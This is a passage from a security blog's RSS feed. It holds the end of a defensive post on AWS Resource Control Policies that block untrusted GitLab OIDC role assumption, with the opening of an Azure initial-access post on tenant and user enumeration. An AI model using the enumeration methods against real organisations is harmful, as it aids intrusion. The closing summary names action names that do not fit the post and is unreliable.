 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;"eventTime": "2024-11-15T01:09:40Z",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "eventSource": "s3.amazonaws.com",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "eventName": "PutObject",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "awsRegion": "us-east-1",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "sourceIPAddress": "xx.xxx.xxx.xx",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "userAgent": "[Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36]",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "errorCode": "AccessDenied",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "errorMessage": "User: arn:aws:iam::111111111111:user/dev_user is not authorized to perform: s3:PutObject on resource: \"arn:aws:s3:::rcp-enforce-s3-object-encryption-23948234234123/datafile.json\" with an explicit deny in a resource control policy",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "requestParameters": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "X-Amz-Date": "20241115T010939Z",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "bucketName": "rcp-enforce-s3-object-encryption-23948234234123",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "X-Amz-Algorithm": "AWS4-HMAC-SHA256",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "x-amz-acl": "bucket-owner-full-control",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "X-Amz-SignedHeaders": "content-md5;content-type;host;x-amz-acl;x-amz-storage-class",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Host": "rcp-enforce-s3-object-encryption-23948234234123.s3.us-east-1.amazonaws.com",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "X-Amz-Content-Sha256": "UNSIGNED-PAYLOAD",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "X-Amz-Expires": "300",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "key": "datafile.json",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "x-amz-storage-class": "STANDARD"&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2&gt;Enforcing Trusted OIDC Subjects from GitLab &#x1f98a;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Let's dive into one more use case. &lt;a href="https://docs.gitlab.com/ee/ci/cloud_services/aws/"&gt;OpenID Connect (OIDC)&lt;/a&gt; enables authentication from other platforms and services into AWS. It's common for CI/CD pipelines from platforms like GitLab or GitHub to assume an AWS IAM Role in an AWS account for deployment of infrastructure and apps. Unfortunately, if the IAM Role's Trust Policy is misconfigured, this can lead to anyone with a GitLab or GitHub account to compromise the role and potentially the AWS account. You can check out a &lt;a href="https://blog.pwnedlabs.io/abusing-identity-providers-in-aws"&gt;previous blog post&lt;/a&gt; about how this works.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;We'll start by creating a new RCP file called &lt;span style="color: #d63384;"&gt;enforce_oidc_subject.json&lt;span style="color: #ffffff;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Version": "2012-10-17",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Statement": [&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Effect": "Deny",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Principal": "*",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Action": "sts:AssumeRoleWithWebIdentity",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Resource": "*",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Condition": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "StringNotEqualsIfExists": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "gitlab.com:sub": "project_path:tyler/oidc-provider:ref_type:branch:ref:main"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; ]&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;This policy will restrict the action &lt;span style="color: #d63384;"&gt;sts:AssumeRoleWithWebIdentity &lt;span style="color: #ffffff;"&gt;unless it's coming from GitLab from a particular project from the main branch.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;&lt;span style="color: #ffffff;"&gt;If you host GitLab on-prem and have a custom domain name i.e., not gitlab.com, then alternatively you may just want to enforce the request that comes from your custom GitLab domain rather than a particular project or branch. This can be done like so:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;{&lt;br&gt;&amp;nbsp; &amp;nbsp; "Version": "2012-10-17",&lt;br&gt;&amp;nbsp; &amp;nbsp; "Statement": [&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Effect": "Deny",&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Principal": "*",&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Action": "sts:AssumeRoleWithWebIdentity",&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Resource": "*",&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Condition": {&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "StringNotEqualsIfExists": {&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "gitlab.com:aud": "https://custom.domain.gitlab.com"&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br&gt;&amp;nbsp; &amp;nbsp; ]&lt;br&gt;}&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;&lt;span style="color: #ffffff;"&gt;Next, we'll create the policy.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile mgmt organizations create-policy --content file://enforce_oidc_subject.json --name enforceOidcSubject --type RESOURCE_CONTROL_POLICY --description "Denys Untrusted OIDC Role Assumption."&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;&lt;span style="color: #ffffff;"&gt;Then deploy the policy to the Dev OU using the policy id from the previous command.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile mgmt organizations attach-policy --policy-id p-xxxxxxxxxx --target-id ou-cxxx-xxxxxxxx&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;&lt;span style="color: #ffffff;"&gt;Once applied, we can run a pipeline job from GitLab. You can use a pipeline configuration file (&lt;span style="color: #d63384;"&gt;.gitlab-ci.yml&lt;/span&gt;) like below. If you need help setting this configuration up, refer to the &lt;a href="https://blog.pwnedlabs.io/abusing-identity-providers-in-aws"&gt;blog post&lt;/a&gt; mentioned earlier which will walk you through this.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;variables:&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; AWS_DEFAULT_REGION: us-east-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; AWS_PROFILE: "oidc"&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;oidc:&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; image:&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; name: amazon/aws-cli:latest&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; entrypoint: [""]&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; id_tokens:&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; GITLAB_OIDC_TOKEN:&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; aud: https://gitlab.com&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; script:&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; - aws sts get-caller-identity&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now, if the configuration is correct we should get a successful run. This would be run from the project, &lt;span style="color: #d63384;"&gt;tyler/oidc-provider&lt;/span&gt;.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws sts get-caller-identity&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "UserId": "AROAUUUKXxxxxxxxxxxxx:botocore-session-1731638060",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Account": "1111111111",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Arn": "arn:aws:sts::1111111111:assumed-role/gitlab-oidc-role/botocore-session-1731638060"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;Cleaning up project directory and file based variables&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;00:01&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;Job succeeded&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;But if we try running from a different project e.g., &lt;span style="color: #d63384;"&gt;hacker/oidc-abuse&lt;/span&gt; then we'll get an error. Take note that even though it's the RCP blocking this access, it doesn't directly tell us that like before. Instead, we get a generic &lt;span style="color: #d63384;"&gt;AccessDenied&lt;/span&gt; error message.&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws sts get-caller-identity&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;An error occurred (AccessDenied) when calling the AssumeRoleWithWebIdentity operation: Not authorized to perform sts:AssumeRoleWithWebIdentity&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;Cleaning up project directory and file based variables&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;00:00&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;ERROR: Job failed: exit code 1&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Additionally, we see the same generic &lt;span style="color: #d63384;"&gt;AccessDenied&lt;/span&gt; message in the CloudTrail logs.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;"eventTime": "2024-11-15T02:52:32Z",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "eventSource": "sts.amazonaws.com",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "eventName": "AssumeRoleWithWebIdentity",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "awsRegion": "us-east-1",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "sourceIPAddress": "xx.xxx.xxx.xxx",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "userAgent": "aws-cli/2.21.1 md/awscrt#0.22.0 ua/2.0 os/linux#5.15.154+ md/arch#x86_64 lang/python#3.12.6 md/pyimpl#CPython cfg/retry-mode#standard md/installer#docker md/distrib#amzn.2 md/prompt#off md/command#sts.get-caller-identity",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "errorCode": "AccessDenied",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "errorMessage": "An unknown error occurred",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "requestParameters": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "roleArn": "arn:aws:iam::111111111111:role/gitlab-oidc-role",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "roleSessionName": "botocore-session-1731639152"&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;div&gt; 
  &lt;h2&gt;Wrap Up&lt;br&gt;&lt;br&gt;&lt;/h2&gt; 
  &lt;p style="font-size: 18px;"&gt;This was a look at the all-new Resource Control Policies from AWS. These policies help provide much-needed security guardrails to protect resources at scale, especially in large organizations with potentially hundreds of AWS accounts and teams.&amp;nbsp;&lt;/p&gt; 
  &lt;p style="font-size: 18px;"&gt;If you followed along and created resources, make sure to delete them. RCPs do not have a cost but the S3 bucket and KMS key do have a minimal associated cost.&amp;nbsp;&lt;/p&gt; 
  &lt;a href="https://github.com/Ty182/pwnedlabs-content/blob/main/blogs/1_abusing_identity_providers_aws/1_abusing_identity_providers_aws.md#wrap-up"&gt;&lt;/a&gt;
 &lt;/div&gt; 
 &lt;p style="font-size: 18px;"&gt;# delete data in s3&lt;br&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev s3 rm s3://rcp-enforce-s3-object-encryption-23948234234123/ --recursive&amp;nbsp;&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;delete: s3://rcp-enforce-s3-object-encryption-23948234234123/datafile&lt;/span&gt;&lt;br&gt;&lt;br&gt;# delete s3 bucket&lt;br&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev s3api delete-bucket --bucket rcp-enforce-s3-object-encryption-23948234234123&lt;/span&gt;&lt;br&gt;&lt;br&gt;# delete kms key (7 days is soonest)&lt;br&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev kms schedule-key-deletion --key-id 44d55009-ccb8-4beb-8e2c-9066fe3aa0d5 --pending-window-in-days 7&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "KeyId": "arn:aws:kms:us-east-1:1111111111:key/44d55009-ccb8-4beb-8e2c-9066fe3aa0d5",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "DeletionDate": "2024-11-21T17:46:37.181000-07:00",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "KeyState": "PendingDeletion",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "PendingWindowInDays": 7&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;h2&gt;Bottom Line&lt;/h2&gt; 
 &lt;p&gt;AWS Resource Control Policies provide a critical security layer that acts as a preventive guardrail, blocking dangerous actions organization-wide regardless of IAM role permissions. By denying AWS:Disassociate, AWS:AssociateRole, credential exposure actions, and destructive modifications, SCPs prevent privilege escalation paths and contain blast radius. Effective guardrails require explicit Deny statements for sensitive actions, careful testing to avoid blocking legitimate operations, and regular audits to close gaps as threat actors discover new escalation vectors.&lt;/p&gt; 
&lt;/div&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fbuilding-security-guardrails-with-aws-resource-control-policies&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>AWS</category>
      <category>Blue Team</category>
      <pubDate>Sat, 16 Nov 2024 01:36:40 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/building-security-guardrails-with-aws-resource-control-policies</guid>
      <dc:date>2024-11-16T01:36:40Z</dc:date>
      <dc:creator>Tyler Petty</dc:creator>
    </item>
    <item>
      <title>Mapping attack surface for Azure initial access</title>
      <link>https://blog.pwnedlabs.io/mapping-attack-surface-for-azure-initial-access</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/mapping-attack-surface-for-azure-initial-access" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/blog_mapping_azure_initial_access2.png" alt="Mapping attack surface for Azure initial access" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 20px;"&gt;Join us in this blog post as we explore various methods that threat actors commonly use to gain initial access to Azure.&lt;br&gt;&lt;br&gt;&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 20px;"&gt;Join us in this blog post as we explore various methods that threat actors commonly use to gain initial access to Azure.&lt;br&gt;&lt;br&gt;&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; Threat actors gain initial access to Azure through unauthenticated enumeration, phishing via illicit consent grants and device codes, exploitation of publicly accessible App Services and blob containers, leaked credentials, and password spraying - defenders must enforce MFA, strong passwords, and continuous secret scanning across all attack vectors.&lt;/span&gt;
&lt;/div&gt; 
&lt;h1 style="font-size: 32px;"&gt;&lt;br&gt;What is initial access?&amp;nbsp;&lt;/h1&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;In &lt;span style="font-weight: normal;"&gt;Microsoft Azure&lt;/span&gt; and other cloud environments, getting initial access as a red teamer can involve exploiting vulnerabilities in hosted applications, leveraging misconfigurations, or leveraging social engineering to break into an Azure and Microsoft 365 environment. Acquiring that critical foothold is often one of the trickiest parts of non-assume-breach scenarios, and techniques can vary depending on skillset, available tooling and the security posture of the target environment (as well as the threat actor techniques that we are looking to replicate).&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;Understanding these attack vectors is important for offensive security professionals who regularly test Azure environments, and arguably even more so for defenders who are tasked with mapping and reducing the human and infrastructure attack surface.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;h2&gt;Unauthenticated mapping of the attack surface &#x1f5fa;️&lt;br&gt;&lt;br&gt;&lt;/h2&gt; 
&lt;p style="text-align: left;"&gt;&lt;span style="font-size: 18px;"&gt;Unauthenticated enumeration lays the groundwork for many initial access tactics in Azure, since attackers need to gather information about the target tenant before executing one of the attacks covered in this post. Before touching on common initial access vectors, we will briefly discuss common techniques used for &lt;span style="font-weight: normal;"&gt;unauthenticated enumeration&lt;/span&gt; of Azure tenants.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;h4 style="text-align: left;"&gt;Tenant enumeration&lt;/h4&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Attackers can use public services (e.g. OAuth endpoints) to extract the tenant ID by providing a valid domain name or email address. Moreover, there are many web sites that allow this kind of enumeration, such as &lt;a href="https://aadinternals.com/osint/"&gt;aadinternals.com&lt;/a&gt; and &lt;a href="https://www.whatismytenantid.com/"&gt;whatismytenantid.com&lt;/a&gt;.&lt;span style="font-size: 20px;"&gt; &lt;/span&gt;Note that these websites are community-run services and should not be used to carry out brute force enumeration.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Open-source tools like &lt;a href="https://github.com/Gerenios/AADInternals"&gt;AADInternals&lt;/a&gt; have some very useful cmdlets for unauthenticated access of Azure tenants that can reveal valuable information to attackers, such as &lt;a href="https://aadinternals.com/aadinternals/"&gt;Tenant Information and Domain Federation Discovery&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Attackers can also collect domain names linked to the Azure tenant using methods like WHOIS lookups and SSL certificate analysis to identify subdomains or external services. This not only gives them a more comprehensive view of the target tenant but also enables them to launch more convincing phishing campaigns.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;h4&gt;User enumeration&lt;/h4&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;User enumeration is a prerequisite for many attacks, such as phishing or password spraying, since threat actors (and those simulating them to test the blue team) must acquire valid email addresses before executing those attacks.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Open-source intelligence (OSINT) for employee enumeration is often the first step to identifying valid email addresses for non-assume breach assessments. Attackers gather publicly available information, such as employee names, email addresses, and job titles, through sources like LinkedIn, company websites, social media and online directories.&lt;/span&gt;&lt;/p&gt; 
